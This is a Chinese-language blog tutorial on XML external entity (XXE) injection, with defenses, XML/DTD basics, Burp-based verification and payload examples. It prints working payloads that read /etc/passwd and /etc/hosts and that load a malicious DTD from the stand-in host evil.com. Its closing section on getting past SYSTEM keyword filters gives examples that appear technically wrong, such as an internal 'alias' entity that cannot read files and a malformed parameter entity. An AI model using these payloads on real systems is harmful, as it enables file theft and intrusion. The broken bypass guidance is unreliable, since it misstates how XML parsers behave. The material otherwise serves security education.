XXE注入漏洞

张天师大约 3 分钟

漏洞概述

当允许引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、攻击内网服务

注意:执行系统命令(安装expect扩展的PHP环境里才有)

防御XXE

1)过滤用户提交的XML数据,关键字<!DOCTYPE,<!ENTITY,SYSTEM

2)使用开发语言提供的禁用外部实体的方法

//PHP:
libxml_disable_entity_loader(true);

//JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

XML基础知识

XML是用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型。

是一种允许用户对自己的标记语言进行定义的源语言。

XML文档结构包括XML声明DTD文档类型定义文档元素

<!--XML声明-->
<?xml version="1.0" ?> 

<!--文档类型定义-->
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,bodys)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from  (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT bodys (#PCDATA)>
]>
<!--文档元素-->
<note>
<to>北京</to><from>石家庄</from>
<heading>wintry</heading><bodys>wintrysec.github.io</bodys>
</note>

DTD(文档类型定义)的作用是定义xml文档的合法构建模块。

DTD 可以在 XML 文档内声明,也可以外部引用。

PCDATA 指的是被解析的字符数据(Parsed Character Data)

XML解析器通常会解析XML文档中所有的文本

<message>此文本会被解析</message>
<!--内部声明DTD-->
<!DOCTYPE 根元素 [元素声明]>
<!--引用外部DTD-->
<!DOCTYPE 根元素 SYSTEM “文件名”>
<!--或者-->
<!DOCTYPE 根元素 PUBLIC “public_ID” “文件名”>
<!--DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用-->

<!--内部声明实体-->
<!ENTITY 实体名称 “实体的值">
<!--引用外部实体-->
<!ENTITY 实体名称 SYSTEM “URI">
<!--或者-->
<!ENTITY 实体名称 PUBLIC “public_ID" “URI">

引入恶意外部实体

一、本地引入

<?xml version="1.0" ?> 
<!DOCTYPE x[
<!ENTITY wintry SYSTEM "file:///etc/passwd">
]>

<test>&wintry;</test><!--文档元素-->
<!--一个实体由三部分构成: 一个和号 (&), 一个实体名称, 以及一个分号 (;) -->

二、远程引入

<?xml version="1.0" ?>
<!DOCTYPE x[
<!ENTITY %d SYSTEM "http://evil.com/evil.dtd">
%d;
]>

<test>&wintrysec;</test>

<!--DTD文件(evil.dtd)内容:-->
<!ENTITY wintrysec SYSTEM “file:///etc/passwd">

三、远程引入2

<?xml version="1.0" ?>
<!DOCTYPE x SYSTEM "http://evil.com/evil.dtd">
<test>&wintrysec;</test>

漏洞验证

寻找那些接受XML作为输入内容的端点。用Burp抓包,随便输入密码点击登录,观察应用程序的XML传输数据。

应用程序正在解析XML内容,接受特定的输入,然后将其呈现给用户

Burp抓包修改请求的XML内容,重放(定义一个名为wintrysec,值为 'wintrysec666' 的实体)

根据响应报文得知,解析器已经解析了我们发送的XML实体,并将实体内容呈现出来了。

由此,可以确认,这个应用程序存在XXE漏洞。

读取任意文件POC

<?xml version="1.0"?> 
<!DOCTYPE a [ 
   <!ENTITY wintrysec SYSTEM "file:///etc/hosts"> 
]> 
<user><username>&wintrysec;</username><password>123</password></user>

漏洞利用

https://www.cnblogs.com/zhengna/p/15740341.htmlopen in new window

XXE过滤了SYSTEM关键字如何绕过

1)使用特殊字符来欺骗过滤器,例如使用空格、制表符或换行符

<!DOCTYPE test [
<!ELEMENT test ANY >
<!ENTITY % externalSystem SYSTEM "file:///etc/passwd">
<!ENTITY % start "<![CDATA[">
<!ENTITY % end "]]>">
<!ENTITY % payload "%start;%externalSystem;%end;">
]>
<test>&payload;</test>

2)使用URL编码来绕过关键字过滤器

SYSTEM关键字编码为 %53%59%53%54%45%4d

3)在XML实体中使用别名代替SYSTEM关键字

<!DOCTYPE test [
<!ENTITY mysystem "file:///etc/passwd">
]>
<test>&mysystem;</test>